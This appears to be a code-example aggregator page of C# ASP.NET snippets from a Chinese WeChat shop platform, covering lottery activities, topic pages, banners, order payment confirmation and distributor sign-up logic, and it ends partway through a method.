Beispiel #1
0
        protected override void AttachChildControls()
        {
            if (string.IsNullOrWhiteSpace(this.Page.Request.QueryString["TopicId"]))
            {
                base.GotoResourceNotFound("");
            }
            else
            {
                this.topicId = this.Page.Request.QueryString["TopicId"];
            }
            this.rptActivity3 = (VshopTemplatedRepeater)this.FindControl("rptActivity3");
            DataTable topics = VshopBrowser.GetHomeActivityTopics(ClientType.VShop, topicId);

            this.rptActivity3.DataSource = topics;
            this.rptActivity3.DataBind();
            PageTitle.AddSiteNameTitle("רÌâÀ¸");
        }
Beispiel #2
0
        protected override void AttachChildControls()
        {
            int num = default(int);

            int.TryParse(HttpContext.Current.Request.QueryString.Get("id"), out num);
            MemberInfo user = HiContext.Current.User;

            if (user.UserId == 0)
            {
                HttpContext.Current.Response.Redirect("/Vshop/login.aspx?ReturnUrl=/Vshop/SignUp.aspx?id=" + num);
            }
            else
            {
                LotteryTicketInfo lotteryTicket = VshopBrowser.GetLotteryTicket(num);
                if (lotteryTicket == null)
                {
                    this.Page.ClientScript.RegisterStartupScript(base.GetType(), "myscript", "<script>$(function(){hideSignUpBtn();alert_h(\"活动还未开始或者已经结束!\",function(){window.location.href=\"/vshop/default.aspx\";});});</script>");
                }
                else
                {
                    if (lotteryTicket != null && VshopBrowser.HasSignUp(num, HiContext.Current.UserId) && DateTime.Now >= lotteryTicket.OpenTime)
                    {
                        HttpContext.Current.Response.Redirect($"~/vshop/ticket.aspx?id={num}");
                    }
                    if (lotteryTicket.StartTime > DateTime.Now || DateTime.Now > lotteryTicket.EndTime)
                    {
                        this.Page.ClientScript.RegisterStartupScript(base.GetType(), "myscript", "<script>$(function(){hideSignUpBtn();alert_h(\"活动还未开始或者已经结束!\",function(){window.location.href=\"/vshop/default.aspx\";});});</script>");
                    }
                    this.pnlInfo                = (Panel)this.FindControl("pnlInfo");
                    this.litActivityDesc        = (Literal)this.FindControl("litActivityDesc");
                    this.litPrizeNames          = (Common_PrizeNames)this.FindControl("litPrizeNames");
                    this.litStartDate           = (Literal)this.FindControl("litStartDate");
                    this.litEndDate             = (Literal)this.FindControl("litEndDate");
                    this.pnlInfo.Visible        = !string.IsNullOrEmpty(lotteryTicket.InvitationCode);
                    this.litActivityDesc.Text   = lotteryTicket.ActivityDesc;
                    this.litPrizeNames.Activity = lotteryTicket;
                    Literal  literal  = this.litStartDate;
                    DateTime dateTime = lotteryTicket.OpenTime;
                    literal.Text = dateTime.ToString("yyyy年MM月dd日 HH:mm:ss");
                    Literal literal2 = this.litEndDate;
                    dateTime      = lotteryTicket.EndTime;
                    literal2.Text = dateTime.ToString("yyyy年MM月dd日 HH:mm:ss");
                    PageTitle.AddSiteNameTitle("抽奖报名");
                }
            }
        }
 private void BindList(int skip)
 {
     if (this.rptHotSale != null)
     {
         DataTable dt = VshopBrowser.GetAllHotSaleNomarl(this.MaxNum, skip * this.maxNum + 1, skip * this.maxNum + 1 + this.MaxNum, supplierId, ClientType.PC);
         rptHotSale.DataSource = dt;
         rptHotSale.DataBind();
         if (dt != null && dt.Rows.Count > 0)
         {
             this.div.Style.Add("display", "block");
         }
         else
         {
             this.div.Style.Add("display", "none");
         }
     }
 }
Beispiel #4
0
        protected override void AttachChildControls()
        {
            int num;

            int.TryParse(HttpContext.Current.Request.QueryString.Get("id"), out num);
            ActivityInfo activity = VshopBrowser.GetActivity(num);

            if (activity == null)
            {
                base.GotoResourceNotFound("");
            }
            this.img                 = (HiImage)this.FindControl("img");
            this.litDescription      = (Literal)this.FindControl("litDescription");
            this.img.ImageUrl        = activity.PicUrl;
            this.litDescription.Text = activity.Description;
            PageTitle.AddSiteNameTitle("微报名");
        }
Beispiel #5
0
        protected override void AttachChildControls()
        {
            if (!int.TryParse(this.Page.Request.QueryString["messageId"], out this.messageId))
            {
                base.GotoResourceNotFound("");
            }
            this.imgUrl     = (HiImage)this.FindControl("imgUrl");
            this.litContent = (System.Web.UI.WebControls.Literal) this.FindControl("litContent");
            MessageInfo message = VshopBrowser.GetMessage(this.messageId);

            if (message == null)
            {
                base.GotoResourceNotFound("");
            }
            this.imgUrl.ImageUrl = message.ImageUrl;
            this.litContent.Text = message.Content;
            PageTitle.AddSiteNameTitle("内容详情");
        }
Beispiel #6
0
        protected override void OnInit(EventArgs e)
        {
            if (!int.TryParse(this.Page.Request.QueryString["TopicId"], out this.topicId))
            {
                this.GotoResourceNotFound("");
            }
            TopicInfo topic = VshopBrowser.GetTopic(this.topicId);

            if (topic == null || topic.TopicType == 0 || topic.TopicType != 1)
            {
                this.GotoResourceNotFound("专题不存在");
            }
            TopicHomePage topicHomePage = new TopicHomePage();

            topicHomePage.TopicId = topic.TopicId;
            this.pageTitle        = topic.Title;
            this.PanelTheme.Controls.Add(topicHomePage);
            base.OnInit(e);
        }
Beispiel #7
0
 protected override void Render(HtmlTextWriter writer)
 {
     if (this.Activity != null)
     {
         PrizeQuery page = new PrizeQuery {
             ActivityId = this.Activity.ActivityId,
             SortOrder  = SortAction.Desc,
             SortBy     = "PrizeTime"
         };
         IOrderedEnumerable <PrizeRecordInfo> source = from a in VshopBrowser.GetPrizeList(page)
                                                       orderby a.PrizeTime descending
                                                       select a;
         StringBuilder builder = new StringBuilder();
         if ((source != null) && (source.Count <PrizeRecordInfo>() > 0))
         {
             builder.Append("<table class=\"tabstyle\" width=\"100%\" border=\"0\" cellspacing=\"\" cellpadding=\"\">");
             //<td style=\"text-align:center; width:30%\">获取人</td>
             builder.Append("<tbody><tr><th>电话</th><th>奖项</th></tr>");
             int i = 1;
             foreach (PrizeRecordInfo info in source)
             {
                 if (i <= 5)
                 {
                     i++;
                     if (!string.IsNullOrEmpty(info.CellPhone) && !string.IsNullOrEmpty(info.RealName))
                     {
                         builder.Append("<tr>");
                         //builder.AppendFormat("<td style=\"text-align:center; width:30%\">{0}<td>", info.RealName);
                         builder.AppendFormat("<td style=\"text-align:center; width:50%\">{0}</td>", this.ShowCellPhone(info.CellPhone));
                         builder.AppendFormat("<td style=\"text-align:center; width:50%\">{0}</td>", info.Prizelevel);
                         builder.Append("</tr>");
                     }
                 }
             }
             builder.Append("</tbody></table>");
             writer.Write(builder.ToString());
         }
         else
         {
             builder.AppendFormat("<p>暂无获奖名单!</p>", new object[0]);
         }
     }
 }
Beispiel #8
0
        protected override void AttachChildControls()
        {
            if (!int.TryParse(this.Page.Request.QueryString["activityid"], out this.activityid))
            {
                base.GotoResourceNotFound("");
            }
            if (!(HiContext.Current.User is Member))
            {
                System.Web.HttpContext.Current.Response.Redirect("/Vshop/login.aspx?ReturnUrl=/Vshop/Scratch.aspx?activityid=" + this.activityid);
                return;
            }
            this.bgimg           = (System.Web.UI.HtmlControls.HtmlImage) this.FindControl("bgimg");
            this.litActivityDesc = (System.Web.UI.WebControls.Literal) this.FindControl("litActivityDesc");
            this.litPrizeNames   = (Common_PrizeNames)this.FindControl("litPrizeNames");
            this.litPrizeUsers   = (Common_PrizeUsers)this.FindControl("litPrizeUsers");
            this.litStartDate    = (System.Web.UI.WebControls.Literal) this.FindControl("litStartDate");
            this.litEndDate      = (System.Web.UI.WebControls.Literal) this.FindControl("litEndDate");
            PageTitle.AddSiteNameTitle("刮刮卡");
            LotteryActivityInfo lotteryActivity = VshopBrowser.GetLotteryActivity(this.activityid);

            if (lotteryActivity == null)
            {
                this.Page.ClientScript.RegisterStartupScript(base.GetType(), "myscript", "<script>$(function(){alert_h(\"活动还未开始或者已经结束!\",function(){window.location.href=\"/vshop/default.aspx\";});});</script>");
                return;
            }
            this.litStartDate.Text = lotteryActivity.StartTime.ToString("yyyy年MM月dd日 HH:mm:ss");
            this.litEndDate.Text   = lotteryActivity.EndTime.ToString("yyyy年MM月dd日 HH:mm:ss");
            if (VshopBrowser.GetUserPrizeCount(this.activityid) >= lotteryActivity.MaxNum)
            {
                this.Page.ClientScript.RegisterStartupScript(base.GetType(), "myscript", "<script>$(function(){alert_h(\"亲,不好意思您的抽奖机会已经用完了哦,敬请期待下次活动吧!\",function(){window.location.href=\"/vshop/default.aspx\";});});</script>");
            }
            if (lotteryActivity.StartTime < System.DateTime.Now && System.DateTime.Now < lotteryActivity.EndTime)
            {
                this.litActivityDesc.Text   = lotteryActivity.ActivityDesc;
                this.litPrizeNames.Activity = lotteryActivity;
                this.litPrizeUsers.Activity = lotteryActivity;
                int userPrizeCount = VshopBrowser.GetUserPrizeCount(this.activityid);
                System.Web.UI.WebControls.Literal expr_1FA = this.litActivityDesc;
                expr_1FA.Text += string.Format("您一共有{0}次参与机会,目前还剩{1}次。", lotteryActivity.MaxNum, lotteryActivity.MaxNum - userPrizeCount);
                return;
            }
            this.Page.ClientScript.RegisterStartupScript(base.GetType(), "scriptErro", "<script>$(function(){alert_h(\"活动还未开始或者已经结束!\",function(){window.location.href=\"/vshop/default.aspx\";});});</script>");
        }
Beispiel #9
0
        protected override void AttachChildControls()
        {
            int num;

            int.TryParse(HttpContext.Current.Request.QueryString.Get("id"), out num);
            LotteryTicketInfo lotteryTicket = VshopBrowser.GetLotteryTicket(num);

            if (lotteryTicket == null)
            {
                base.GotoResourceNotFound("");
            }
            this.litActivityDesc        = (Literal)this.FindControl("litActivityDesc");
            this.litPrizeNames          = (Common_PrizeNames)this.FindControl("litPrizeNames");
            this.litStartDate           = (Literal)this.FindControl("litStartDate");
            this.litEndDate             = (Literal)this.FindControl("litEndDate");
            this.litActivityDesc.Text   = lotteryTicket.ActivityDesc;
            this.litPrizeNames.Activity = lotteryTicket;
            this.litStartDate.Text      = lotteryTicket.OpenTime.ToString("yyyy年MM月dd日 HH:mm:ss");
            this.litEndDate.Text        = lotteryTicket.EndTime.ToString("yyyy年MM月dd日 HH:mm:ss");
            PageTitle.AddSiteNameTitle("微抽奖");
        }
Beispiel #10
0
        protected override void AttachChildControls()
        {
            if (!int.TryParse(this.Page.Request.QueryString["TopicId"], out this.topicId))
            {
                base.GotoResourceNotFound("");
            }
            this.imgUrl      = (HiImage)this.FindControl("imgUrl");
            this.litContent  = (Literal)this.FindControl("litContent");
            this.rptProducts = (VshopTemplatedRepeater)this.FindControl("rptProducts");
            TopicInfo topic = VshopBrowser.GetTopic(this.topicId);

            if (topic == null)
            {
                base.GotoResourceNotFound("");
            }
            this.imgUrl.ImageUrl        = topic.IconUrl;
            this.litContent.Text        = topic.Content;
            this.rptProducts.DataSource = ProductBrowser.GetTopicProducts(MemberProcessor.GetCurrentMember(), this.topicId, new VTemplateHelper().GetTopicProductMaxNum());
            this.rptProducts.DataBind();
            PageTitle.AddSiteNameTitle("专题详情");
        }
Beispiel #11
0
        protected override void AttachChildControls()
        {
            if (!int.TryParse(this.Page.Request.QueryString["activityid"], out this.activityid))
            {
                base.GotoResourceNotFound("");
            }
            this.bgimg           = (HtmlImage)this.FindControl("bgimg");
            this.litActivityDesc = (Literal)this.FindControl("litActivityDesc");
            this.litPrizeNames   = (Common_PrizeNames)this.FindControl("litPrizeNames");
            this.litPrizeUsers   = (Common_PrizeUsers)this.FindControl("litPrizeUsers");
            this.litStartDate    = (Literal)this.FindControl("litStartDate");
            this.litEndDate      = (Literal)this.FindControl("litEndDate");
            PageTitle.AddSiteNameTitle("刮刮卡");
            LotteryActivityInfo lotteryActivity = VshopBrowser.GetLotteryActivity(this.activityid);

            if (lotteryActivity == null)
            {
                base.GotoResourceNotFound("");
            }
            this.litStartDate.Text = lotteryActivity.StartTime.ToString("yyyy年MM月dd日 HH:mm:ss");
            this.litEndDate.Text   = lotteryActivity.EndTime.ToString("yyyy年MM月dd日 HH:mm:ss");
            if (VshopBrowser.GetUserPrizeCount(this.activityid) >= lotteryActivity.MaxNum)
            {
                this.Page.ClientScript.RegisterStartupScript(base.GetType(), "myscript", "<script>$(function(){alert_h(\"亲,不好意思您的抽奖机会已经用完了哦,敬请期待下次活动吧!\",function(){window.location.href=\"Default.aspx\";});});</script>");
            }
            if ((lotteryActivity.StartTime < DateTime.Now) && (DateTime.Now < lotteryActivity.EndTime))
            {
                this.litActivityDesc.Text   = lotteryActivity.ActivityDesc;
                this.litPrizeNames.Activity = lotteryActivity;
                this.litPrizeUsers.Activity = lotteryActivity;
                int userPrizeCount = VshopBrowser.GetUserPrizeCount(this.activityid);
                this.litActivityDesc.Text = this.litActivityDesc.Text + string.Format("您一共有{0}次参与机会,目前还剩{1}次。", lotteryActivity.MaxNum, lotteryActivity.MaxNum - userPrizeCount);
            }
            else
            {
                this.Page.ClientScript.RegisterStartupScript(base.GetType(), "scriptErro", "<script>$(function(){alert_h(\"活动还未开始或者已经结束!\",function(){window.location.href=\"Default.aspx\";});});</script>");
            }
        }
Beispiel #12
0
        protected override void AttachChildControls()
        {
            if (!int.TryParse(this.Page.Request.QueryString["activityid"], out this.activityid))
            {
                base.GotoResourceNotFound("");
            }

            PageTitle.AddSiteNameTitle("微信红包活动");
            LotteryActivityInfo lotteryActivity = VshopBrowser.GetLotteryActivity(this.activityid);

            if (lotteryActivity == null)
            {
                base.GotoResourceNotFound("");
            }

            if ((lotteryActivity.StartTime < DateTime.Now) && (DateTime.Now < lotteryActivity.EndTime))
            {
            }
            else
            {
                this.Page.ClientScript.RegisterStartupScript(base.GetType(), "myscript", "<script>$(function(){alert_h(\"活动还未开始或者已经结束!\",function(){window.location.href=\"/vshop/default.aspx\";});});</script>");
            }
        }
        protected override void AttachChildControls()
        {
            int activityid = default(int);

            int.TryParse(HttpContext.Current.Request.QueryString.Get("activityid"), out activityid);
            PrizeRecordInfo userPrizeRecord = VshopBrowser.GetUserPrizeRecord(activityid);

            this.litPrizeLevel = (Literal)this.FindControl("litPrizeLevel");
            if (userPrizeRecord != null)
            {
                this.litPrizeLevel.Text = userPrizeRecord.Prizelevel;
            }
            MemberInfo user = HiContext.Current.User;

            if (user.UserId != 0)
            {
                this.txtName        = (HtmlInputText)this.FindControl("txtName");
                this.txtPhone       = (HtmlInputText)this.FindControl("txtPhone");
                this.txtName.Value  = user.RealName;
                this.txtPhone.Value = user.CellPhone;
            }
            PageTitle.AddSiteNameTitle("中奖记录");
        }
        protected override void Render(HtmlTextWriter writer)
        {
            int num;

            int.TryParse(HttpContext.Current.Request.QueryString.Get("id"), out num);
            ActivityInfo activity = VshopBrowser.GetActivity(num);

            if (activity == null)
            {
                return;
            }
            string        format        = "<div class=\"qb_mb10 qb_flex\"><input type=\"text\" class=\"mod_input flex_box\" style=\"height:35px;\" placeholder=\"您的{0}\" id=\"{1}\"></div>";
            StringBuilder stringBuilder = new StringBuilder();

            stringBuilder.AppendFormat("<input type=\"hidden\" id=\"id\" value=\"{0}\">", num);
            if (!string.IsNullOrEmpty(activity.Item1))
            {
                stringBuilder.AppendFormat(format, activity.Item1, "item1");
            }
            if (!string.IsNullOrEmpty(activity.Item2))
            {
                stringBuilder.AppendFormat(format, activity.Item2, "item2");
            }
            if (!string.IsNullOrEmpty(activity.Item3))
            {
                stringBuilder.AppendFormat(format, activity.Item3, "item3");
            }
            if (!string.IsNullOrEmpty(activity.Item4))
            {
                stringBuilder.AppendFormat(format, activity.Item4, "item4");
            }
            if (!string.IsNullOrEmpty(activity.Item5))
            {
                stringBuilder.AppendFormat(format, activity.Item5, "item5");
            }
            writer.Write(stringBuilder.ToString());
        }
Beispiel #15
0
        protected override void AttachChildControls()
        {
            int num;

            int.TryParse(System.Web.HttpContext.Current.Request.QueryString.Get("id"), out num);
            if (!(HiContext.Current.User is Member))
            {
                System.Web.HttpContext.Current.Response.Redirect("/Vshop/login.aspx?ReturnUrl=/Vshop/SignUp.aspx?id=" + num);
                return;
            }
            LotteryTicketInfo lotteryTicket = VshopBrowser.GetLotteryTicket(num);

            if (lotteryTicket == null)
            {
                this.Page.ClientScript.RegisterStartupScript(base.GetType(), "myscript", "<script>$(function(){hideSignUpBtn();alert_h(\"活动还未开始或者已经结束!\",function(){window.location.href=\"/vshop/default.aspx\";});});</script>");
                return;
            }
            if (lotteryTicket != null && VshopBrowser.HasSignUp(num, HiContext.Current.User.UserId))
            {
                System.Web.HttpContext.Current.Response.Redirect(string.Format("~/vshop/ticket.aspx?id={0}", num));
            }
            if (lotteryTicket.StartTime > System.DateTime.Now || System.DateTime.Now > lotteryTicket.EndTime)
            {
                this.Page.ClientScript.RegisterStartupScript(base.GetType(), "myscript", "<script>$(function(){hideSignUpBtn();alert_h(\"活动还未开始或者已经结束!\",function(){window.location.href=\"/vshop/default.aspx\";});});</script>");
            }
            this.pnlInfo                = (System.Web.UI.WebControls.Panel) this.FindControl("pnlInfo");
            this.litActivityDesc        = (System.Web.UI.WebControls.Literal) this.FindControl("litActivityDesc");
            this.litPrizeNames          = (Common_PrizeNames)this.FindControl("litPrizeNames");
            this.litStartDate           = (System.Web.UI.WebControls.Literal) this.FindControl("litStartDate");
            this.litEndDate             = (System.Web.UI.WebControls.Literal) this.FindControl("litEndDate");
            this.pnlInfo.Visible        = !string.IsNullOrEmpty(lotteryTicket.InvitationCode);
            this.litActivityDesc.Text   = lotteryTicket.ActivityDesc;
            this.litPrizeNames.Activity = lotteryTicket;
            this.litStartDate.Text      = lotteryTicket.OpenTime.ToString("yyyy年MM月dd日 HH:mm:ss");
            this.litEndDate.Text        = lotteryTicket.EndTime.ToString("yyyy年MM月dd日 HH:mm:ss");
            PageTitle.AddSiteNameTitle("抽奖报名");
        }
Beispiel #16
0
        public void ProcessRequest(HttpContext context)
        {
            string text = context.Request["actionName"];
            string s    = string.Empty;
            int    num;

            switch (text)
            {
            case "Topic":
            {
                IList <TopicInfo> appTopics = VShopHelper.GetAppTopics();
                s = JsonConvert.SerializeObject(appTopics);
                break;
            }

            case "Vote":
            {
                DataTable value4 = VshopBrowser.GetVoteByIsShowWX().Tables[0];
                s = JsonConvert.SerializeObject(value4);
                break;
            }

            case "Category":
            {
                var value = from item in CatalogHelper.GetMainCategories()
                            select new
                {
                    CateId   = item.CategoryId,
                    CateName = item.Name
                };
                s = JsonConvert.SerializeObject(value);
                break;
            }

            case "Activity":
            {
                string a      = context.Request["client"].ToNullString().ToLower();
                Array  values = Enum.GetValues(typeof(LotteryActivityType));
                if (a == "app")
                {
                    values = Enum.GetValues(typeof(AppLotteryActivityType));
                }
                List <EnumJson> list2 = new List <EnumJson>();
                foreach (Enum item in values)
                {
                    EnumJson enumJson3 = new EnumJson();
                    enumJson3.Name  = item.ToShowText();
                    enumJson3.Value = item.ToString();
                    list2.Add(enumJson3);
                }
                s = JsonConvert.SerializeObject(list2);
                break;
            }

            case "ActivityList":
            {
                string value2 = context.Request.Form["acttype"];
                LotteryActivityType lotteryActivityType = (LotteryActivityType)Enum.Parse(typeof(LotteryActivityType), value2);
                if (lotteryActivityType == LotteryActivityType.SignUp)
                {
                    var value3 = from item in VShopHelper.GetAllActivity()
                                 select new
                    {
                        ActivityId   = item.ActivityId,
                        ActivityName = item.Name
                    };
                    s = JsonConvert.SerializeObject(value3);
                }
                else
                {
                    IList <LotteryActivityInfo> lotteryActivityByType = VShopHelper.GetLotteryActivityByType(lotteryActivityType);
                    s = JsonConvert.SerializeObject(lotteryActivityByType);
                }
                break;
            }

            case "ArticleCategory":
            {
                IList <ArticleCategoryInfo> articleMainCategories = CommentBrowser.GetArticleMainCategories();
                if (articleMainCategories != null && articleMainCategories.Count > 0)
                {
                    List <EnumJson> list3 = new List <EnumJson>();
                    foreach (ArticleCategoryInfo item2 in articleMainCategories)
                    {
                        EnumJson enumJson4 = new EnumJson();
                        enumJson4.Name = item2.Name;
                        EnumJson enumJson5 = enumJson4;
                        num             = item2.CategoryId;
                        enumJson5.Value = num.ToString();
                        list3.Add(enumJson4);
                    }
                    s = JsonConvert.SerializeObject(list3);
                }
                break;
            }

            case "ArticleList":
            {
                int categoryId = 0;
                if (context.Request.Form["categoryId"] != null)
                {
                    int.TryParse(context.Request.Form["categoryId"].ToString(), out categoryId);
                }
                IList <ArticleInfo> articleList = CommentBrowser.GetArticleList(categoryId, 1000);
                List <EnumJson>     list        = new List <EnumJson>();
                foreach (ArticleInfo item3 in articleList)
                {
                    EnumJson enumJson = new EnumJson();
                    enumJson.Name = item3.Title;
                    EnumJson enumJson2 = enumJson;
                    num             = item3.ArticleId;
                    enumJson2.Value = num.ToString();
                    list.Add(enumJson);
                }
                s = JsonConvert.SerializeObject(list);
                break;
            }
            }
            context.Response.Write(s);
        }
Beispiel #17
0
 private void BindData()
 {
     this.grdBanner.DataSource = VshopBrowser.GetAllBanners(ClientType.App);
     this.grdBanner.DataBind();
 }
Beispiel #18
0
        protected override void AttachChildControls()
        {
            if (HiContext.Current.User.UserRole == UserRole.Member && ((Member)HiContext.Current.User).ReferralStatus == 2 && string.IsNullOrEmpty(this.Page.Request.QueryString["ReferralUserId"]))
            {
                string text = System.Web.HttpContext.Current.Request.Url.ToString();
                if (text.IndexOf("?") > -1)
                {
                    text = text + "&ReferralUserId=" + HiContext.Current.User.UserId;
                }
                else
                {
                    text = text + "?ReferralUserId=" + HiContext.Current.User.UserId;
                }
                this.Page.Response.Redirect(text);
                return;
            }
            PageTitle.AddSiteNameTitle("首页");
            this.rptSlide    = (WapTemplatedRepeater)this.FindControl("rptSlide");
            this.rptNavigate = (WapTemplatedRepeater)this.FindControl("rptNavigate");
            this.rptTopic    = (WapTemplatedRepeater)this.FindControl("rptTopics");
            this.rptProducts = (WapTemplatedRepeater)this.FindControl("rptProducts");
            this.img         = (System.Web.UI.HtmlControls.HtmlImage) this.FindControl("imgDefaultBg");

            this.rptHotSale     = (WapTemplatedRepeater)this.FindControl("rptHotSale");
            this.rptNewPro      = (WapTemplatedRepeater)this.FindControl("rptNewPro");
            this.rptPromotional = (WapTemplatedRepeater)this.FindControl("rptPromotional");
            if (this.rptSlide != null)
            {
                this.rptSlide.DataSource = VshopBrowser.GetAllBanners(ClientType.WAP);
                this.rptSlide.DataBind();
            }
            if (this.rptProducts != null)
            {
                DataTable homeProduct = ProductBrowser.GetHomeProduct(ClientType.WAP);
                this.rptProducts.DataSource = homeProduct;
                this.rptProducts.DataBind();
            }
            if (this.rptTopic != null)
            {
                DataTable topics = VshopBrowser.GetTopics(ClientType.WAP);
                this.rptTopic.DataSource = topics;
                this.rptTopic.DataBind();
            }
            if (this.rptNavigate != null)
            {
                System.Collections.Generic.IList <NavigateInfo> allNavigate = VshopBrowser.GetAllNavigate(ClientType.WAP);
                foreach (NavigateInfo current in allNavigate)
                {
                    if (!current.ImageUrl.ToLower().Contains("storage/master/navigate") && !current.ImageUrl.ToLower().Contains("templates"))
                    {
                        current.ImageUrl = HiContext.Current.GetWapshopSkinPath(null) + "/images/deskicon/" + current.ImageUrl;
                    }
                }
                this.rptNavigate.DataSource = allNavigate;
                this.rptNavigate.DataBind();
            }

            //添加
            if (this.rptHotSale != null)
            {
                this.rptHotSale.DataSource = VshopBrowser.GetAllHotSale(ClientType.WAP);
                this.rptHotSale.DataBind();
            }

            if (this.rptNewPro != null)
            {
                this.rptNewPro.DataSource = VshopBrowser.GetAllRecommend(ClientType.WAP);
                this.rptNewPro.DataBind();
            }

            if (this.rptPromotional != null)
            {
                this.rptPromotional.DataSource = VshopBrowser.GetAllPromotional(ClientType.WAP);
                this.rptPromotional.DataBind();
            }
            if (this.img != null)
            {
                this.img.Src = new WapTemplateHelper().GetDefaultBg();
            }
        }
Beispiel #19
0
        public static bool ConfirmPay(OrderInfo order)
        {
            ManagerHelper.CheckPrivilege(Privilege.CofimOrderPay);
            bool flag = false;

            if (order.CheckAction(OrderActions.SELLER_CONFIRM_PAY))
            {
                OrderDao dao = new OrderDao();
                order.OrderStatus   = OrderStatus.BuyerAlreadyPaid;
                order.PayDate       = new DateTime?(DateTime.Now);
                order.PaymentTypeId = 0x63;
                order.PaymentType   = "线下支付";
                ManagerInfo currentManager = ManagerHelper.GetCurrentManager();
                string      str            = string.Empty;
                if (currentManager != null)
                {
                    str = string.Concat(new object[] { currentManager.UserName, "(", currentManager.UserId, ")" });
                }
                order.ManagerRemark = "管理员" + str + "后台收款";
                order.Gateway       = "hishop.plugins.payment.offlinerequest";
                flag = dao.UpdateOrder(order, null);
                string str2 = "";
                if (!flag)
                {
                    return(flag);
                }
                dao.UpdatePayOrderStock(order);
                foreach (LineItemInfo info2 in order.LineItems.Values)
                {
                    ProductDao dao2 = new ProductDao();
                    str2 = str2 + "'" + info2.SkuId + "',";
                    ProductInfo productDetails = dao2.GetProductDetails(info2.ProductId);
                    productDetails.SaleCounts     += info2.Quantity;
                    productDetails.ShowSaleCounts += info2.Quantity;
                    dao2.UpdateProduct(productDetails, null);
                }
                if (!string.IsNullOrEmpty(str2))
                {
                    dao.UpdateItemsStatus(order.OrderId, 2, str2.Substring(0, str2.Length - 1));
                }
                if (!string.IsNullOrEmpty(order.ActivitiesId))
                {
                    new ActivitiesDao().UpdateActivitiesTakeEffect(order.ActivitiesId);
                }
                MemberHelper.SetOrderDate(order.UserId, 1);
                SettingsManager.GetMasterSettings(true);
                MemberInfo member = new MemberDao().GetMember(order.UserId);
                if (VshopBrowser.IsPassAutoToDistributor(member, true))
                {
                    DistributorsBrower.MemberAutoToDistributor(member);
                }
                try
                {
                    OrderInfo info5 = order;
                    if (info5 != null)
                    {
                        Messenger.SendWeiXinMsg_OrderPay(info5);
                    }
                }
                catch (Exception)
                {
                }
                EventLogs.WriteOperationLog(Privilege.CofimOrderPay, string.Format(CultureInfo.InvariantCulture, "确认收款编号为\"{0}\"的订单", new object[] { order.OrderId }));
            }
            return(flag);
        }
Beispiel #20
0
        protected override void AttachChildControls()
        {
            PageTitle.AddSiteNameTitle("申请分销");
            this.Page.Session["stylestatus"] = "2";
            MemberInfo       currentMember      = MemberProcessor.GetCurrentMember();
            DistributorsInfo userIdDistributors = DistributorsBrower.GetUserIdDistributors(currentMember.UserId);

            if (userIdDistributors != null && userIdDistributors.ReferralStatus == 0)
            {
                this.Page.Response.Redirect("/Vshop/DistributorCenter.aspx", true);
                this.Page.Response.End();
            }
            SiteSettings masterSettings = SettingsManager.GetMasterSettings(true);
            bool         flag           = VshopBrowser.IsPassAutoToDistributor(currentMember, true);

            if (flag)
            {
                DistributorsBrower.MemberAutoToDistributor(currentMember);
                this.Page.Response.Redirect("/Vshop/DistributorCenter.aspx", true);
                this.Page.Response.End();
            }
            else
            {
                if (!VshopBrowser.IsPassAutoToDistributor(currentMember, false))
                {
                    this.Page.Response.Redirect("/Vshop/DistributorRegCheck.aspx", true);
                    this.Page.Response.End();
                }
                if (!masterSettings.IsShowDistributorSelfStoreName)
                {
                    DistributorsBrower.MemberAutoToDistributor(currentMember);
                    this.Page.Response.Redirect("/Vshop/DistributorCenter.aspx", true);
                    this.Page.Response.End();
                }
                else
                {
                    int num = 0;
                    this.idImg = (System.Web.UI.HtmlControls.HtmlImage) this.FindControl("idImg");
                    string text = string.Empty;
                    if (int.TryParse(this.Page.Request.QueryString["ReferralId"], out num))
                    {
                        if (num > 0)
                        {
                            DistributorsInfo userIdDistributors2 = DistributorsBrower.GetUserIdDistributors(num);
                            if (userIdDistributors2 != null)
                            {
                                if (!string.IsNullOrEmpty(userIdDistributors2.Logo))
                                {
                                    text = userIdDistributors2.Logo;
                                }
                            }
                        }
                    }
                    if (string.IsNullOrEmpty(text))
                    {
                        text = masterSettings.DistributorLogoPic;
                    }
                    this.idImg.Src = text;
                    if (userIdDistributors != null && userIdDistributors.ReferralStatus != 0)
                    {
                        this.litIsEnable       = (System.Web.UI.HtmlControls.HtmlInputHidden) this.FindControl("litIsEnable");
                        this.litIsEnable.Value = userIdDistributors.ReferralStatus.ToString();
                    }
                }
            }
        }
        protected override void AttachChildControls()
        {
            this.litAddTips          = (Literal)this.FindControl("litAddTips");
            this.litIsEnable         = (HtmlInputHidden)this.FindControl("litIsEnable");
            this.litIsMember         = (HtmlInputHidden)this.FindControl("litIsMember");
            this.litExpenditure      = (HtmlInputHidden)this.FindControl("litExpenditure");
            this.litMemberAmountPass = (HtmlInputHidden)this.FindControl("litMemberAmountPass");
            this.litminMoney         = (HtmlInputHidden)this.FindControl("litminMoney");
            this.litProds            = (HtmlInputHidden)this.FindControl("litProds");
            this.litProdOK           = (HtmlInputHidden)this.FindControl("litProdOK");
            int          currentMemberUserId = Globals.GetCurrentMemberUserId(false);
            SiteSettings masterSettings      = SettingsManager.GetMasterSettings(true);

            if (masterSettings.DistributorApplicationCondition && (masterSettings.RechargeMoneyToDistributor > 0M))
            {
                if (MemberAmountProcessor.GetUserMaxAmountDetailed(currentMemberUserId) >= masterSettings.RechargeMoneyToDistributor)
                {
                    this.IsMemberAmountPass = true;
                    this.litAddTips.Text    = "<li class=\"pl50\"><a href=\"/Vshop/MemberRecharge.aspx\" style=\"color:red\"><i class=\"iconfont icon-tubiaoweb09 mr5 pull-left\"></i>一次性预存" + masterSettings.RechargeMoneyToDistributor.ToString("F2").Replace(".00", "") + "元,即可成为分销商!</a><p class=\"success\">已达成</p></li>";
                }
                else
                {
                    this.litAddTips.Text = "<li class=\"pl50\"><a href=\"/Vshop/MemberRecharge.aspx\" style=\"color:red\"><i class=\"iconfont icon-tubiaoweb09 mr5 pull-left\"></i>一次性预存" + masterSettings.RechargeMoneyToDistributor.ToString("F2").Replace(".00", "") + "元,即可成为分销商!</a></li>";
                }
            }
            if (currentMemberUserId > 0)
            {
                this.litIsMember.Value = "1";
                DistributorsInfo userIdDistributors = DistributorsBrower.GetUserIdDistributors(currentMemberUserId);
                MemberInfo       currentMember      = MemberProcessor.GetCurrentMember();
                if (currentMember == null)
                {
                    this.Page.Response.Redirect("/Vshop/DistributorCenter.aspx");
                    return;
                }
                this.UserBindName       = (HtmlInputHidden)this.FindControl("UserBindName");
                this.UserBindName.Value = currentMember.UserBindName;
                decimal expenditure = currentMember.Expenditure;
                if (userIdDistributors != null)
                {
                    if (userIdDistributors.ReferralStatus == 0)
                    {
